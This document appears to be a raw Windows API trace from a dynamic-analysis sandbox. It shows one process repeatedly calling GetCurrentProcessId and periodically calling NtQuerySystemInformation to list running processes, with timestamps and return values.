GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.055] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.056] GetCurrentProcessId () returned 0x10c0 [0164.057] GetCurrentProcessId () returned 0x10c0 [0164.057] GetCurrentProcessId () returned 0x10c0 [0164.057] GetCurrentProcessId () returned 0x10c0 [0164.057] GetCurrentProcessId () returned 0x10c0 [0164.057] GetCurrentProcessId () returned 0x10c0 [0164.057] GetCurrentProcessId () returned 0x10c0 [0164.057] GetCurrentProcessId () returned 0x10c0 [0164.057] GetCurrentProcessId () returned 0x10c0 [0164.057] GetCurrentProcessId () returned 0x10c0 [0164.057] GetCurrentProcessId () returned 0x10c0 [0164.057] GetCurrentProcessId () returned 0x10c0 [0164.057] GetCurrentProcessId () returned 0x10c0 [0164.057] GetCurrentProcessId () returned 0x10c0 [0164.057] GetCurrentProcessId () returned 0x10c0 [0164.057] GetCurrentProcessId () returned 0x10c0 [0164.057] GetCurrentProcessId () returned 0x10c0 [0164.057] GetCurrentProcessId () returned 0x10c0 [0164.057] GetCurrentProcessId () returned 0x10c0 [0164.058] GetCurrentProcessId () returned 0x10c0 [0164.058] GetCurrentProcessId () returned 0x10c0 [0164.058] GetCurrentProcessId () returned 0x10c0 [0164.058] GetCurrentProcessId () returned 0x10c0 [0164.058] GetCurrentProcessId () returned 0x10c0 [0164.654] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d6d0) returned 0x0 [0164.794] GetCurrentProcessId () returned 0x10c0 [0164.794] GetCurrentProcessId () returned 0x10c0 [0164.794] GetCurrentProcessId () returned 0x10c0 [0164.794] GetCurrentProcessId () returned 0x10c0 [0164.794] GetCurrentProcessId () returned 0x10c0 [0164.794] GetCurrentProcessId () returned 0x10c0 [0164.794] GetCurrentProcessId () returned 0x10c0 [0164.794] GetCurrentProcessId () returned 0x10c0 [0164.794] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.795] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.797] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.798] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0164.799] GetCurrentProcessId () returned 0x10c0 [0165.356] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d810) returned 0x0 [0165.360] GetCurrentProcessId () returned 0x10c0 [0165.360] GetCurrentProcessId () returned 0x10c0 [0165.360] GetCurrentProcessId () returned 0x10c0 [0165.360] GetCurrentProcessId () returned 0x10c0 [0165.360] GetCurrentProcessId () returned 0x10c0 [0165.360] GetCurrentProcessId () returned 0x10c0 [0165.360] GetCurrentProcessId () returned 0x10c0 [0165.360] GetCurrentProcessId () returned 0x10c0 [0165.360] GetCurrentProcessId () returned 0x10c0 [0165.360] GetCurrentProcessId () returned 0x10c0 [0165.360] GetCurrentProcessId () returned 0x10c0 [0165.360] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.361] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.362] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.363] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.364] GetCurrentProcessId () returned 0x10c0 [0165.365] GetCurrentProcessId () returned 0x10c0 [0165.365] GetCurrentProcessId () returned 0x10c0 [0165.365] GetCurrentProcessId () returned 0x10c0 [0165.365] GetCurrentProcessId () returned 0x10c0 [0165.365] GetCurrentProcessId () returned 0x10c0 [0165.873] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d860) returned 0x0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.880] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.881] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.882] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.883] GetCurrentProcessId () returned 0x10c0 [0165.884] GetCurrentProcessId () returned 0x10c0 [0165.884] GetCurrentProcessId () returned 0x10c0 [0165.884] GetCurrentProcessId () returned 0x10c0 [0165.884] GetCurrentProcessId () returned 0x10c0 [0165.884] GetCurrentProcessId () returned 0x10c0 [0166.416] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d860) returned 0x0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.429] GetCurrentProcessId () returned 0x10c0 [0166.430] GetCurrentProcessId () returned 0x10c0 [0166.430] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.431] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.432] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.433] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0166.434] GetCurrentProcessId () returned 0x10c0 [0167.037] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d810) returned 0x0 [0167.096] GetCurrentProcessId () returned 0x10c0 [0167.096] GetCurrentProcessId () returned 0x10c0 [0167.096] GetCurrentProcessId () returned 0x10c0 [0167.096] GetCurrentProcessId () returned 0x10c0 [0167.096] GetCurrentProcessId () returned 0x10c0 [0167.096] GetCurrentProcessId () returned 0x10c0 [0167.096] GetCurrentProcessId () returned 0x10c0 [0167.096] GetCurrentProcessId () returned 0x10c0 [0167.096] GetCurrentProcessId () returned 0x10c0 [0167.096] GetCurrentProcessId () returned 0x10c0 [0167.096] GetCurrentProcessId () returned 0x10c0 [0167.096] GetCurrentProcessId () returned 0x10c0 [0167.096] GetCurrentProcessId () returned 0x10c0 [0167.096] 